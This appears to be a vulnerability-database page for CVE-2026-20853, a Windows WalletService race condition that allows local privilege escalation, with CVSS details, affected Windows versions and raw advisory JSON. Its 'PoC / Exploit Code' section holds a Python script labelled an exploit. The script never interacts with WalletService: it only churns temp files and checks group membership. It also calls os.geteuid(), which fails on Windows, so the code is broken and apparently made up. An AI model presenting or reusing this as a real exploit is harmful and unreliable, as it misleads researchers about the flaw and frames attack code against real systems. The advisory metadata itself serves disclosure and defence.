Security Vulnerability Report
中文
CVE-2026-20853 CVSS 7.4 HIGH

CVE-2026-20853

Published: 2026-01-13 18:16:14
Last Modified: 2026-01-15 13:28:14

Description

Concurrent execution using shared resource with improper synchronization ('race condition') in Windows WalletService allows an unauthorized attacker to elevate privileges locally.

CVSS Details

CVSS Score
7.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:* - VULNERABLE
Windows 10 (all versions prior to latest patch)
Windows 11 (all versions prior to latest patch)
Windows Server 2019
Windows Server 2022
Windows Server 2025

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-20853 PoC - Windows WalletService Race Condition # This PoC demonstrates the race condition in WalletService # Note: This is for educational purposes only import os import sys import threading import time import subprocess def trigger_race_condition(): """ Attempt to trigger race condition in WalletService by creating concurrent access patterns """ print("[*] Initiating race condition attack against WalletService...") # Step 1: Identify WalletService process try: result = subprocess.run( ['tasklist'], capture_output=True, text=True ) if 'WalletService' in result.stdout: print("[+] WalletService process found") else: print("[-] WalletService not running") return False except Exception as e: print(f"[-] Error identifying service: {e}") return False # Step 2: Create concurrent threads to trigger race condition threads = [] for i in range(10): t = threading.Thread(target=concurrent_operation, args=(i,)) threads.append(t) t.start() # Step 3: Wait for threads and check result for t in threads: t.join() print("[*] Race condition attempt completed") return True def concurrent_operation(thread_id): """ Perform concurrent operations to trigger race condition """ try: # Create rapid file system operations temp_path = f"C:\\Users\\Public\\Documents\\wallet_temp_{thread_id}.dat" # Rapid create/delete operations for _ in range(50): try: with open(temp_path, 'w') as f: f.write('malicious_data') os.remove(temp_path) except: pass time.sleep(0.001) # Minimal delay to increase race probability except Exception as e: print(f"Thread {thread_id} error: {e}") def check_privilege_escalation(): """ Check if privilege escalation was successful """ try: result = subprocess.run( ['whoami', '/groups'], capture_output=True, text=True ) if 'BUILTIN\\Administrators' in result.stdout or 'NT AUTHORITY\\SYSTEM' in result.stdout: print("[+] Elevated privileges detected!") return True else: print("[-] No privilege escalation detected") return False except Exception as e: print(f"[-] Error checking privileges: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2026-20853 PoC - WalletService Race Condition") print("=" * 60) if os.geteuid() != 0: print("[*] Note: This exploit requires local access") trigger_race_condition() check_privilege_escalation() print("[*] Analysis complete")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20853", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:13.990", "lastModified": "2026-01-15T13:28:14.337", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Concurrent execution using shared resource with improper synchronization ('race condition') in Windows WalletService allows an unauthorized attacker to elevate privileges locally."}, {"lang": "es", "value": "Ejecución concurrente usando un recurso compartido con sincronización inadecuada ('condición de carrera') en el servicio WalletService de Windows permite a un atacante no autorizado elevar privilegios localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.4, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "9A956D23-259E-450B-8406-FEB2BBED1F39"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "41D387B9-5E9D-47CB-B044-D7D10FFFB458"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "DD4CBDAB-7626-4048-8474-B1BD9C1F3255"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A6D4C631-2CC0-407C-9ACA-7C151006598C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6809", "matchCriteriaId": "1895E186-5B2E-43CC-AF1F-B5C95419D8C5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6809", "matchCriteriaId": "B7CB5184-1BA1-4D71-8AE3-CF4C6B63A469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "8D675DAA-4DCE-4727-BE5F-C954BBD252C4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "D249551B-1433-4E5E-A587-40F782E91E09"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "22082D4E-E68F-4E48-98FB-42DFDEE2E2A8"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20853", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}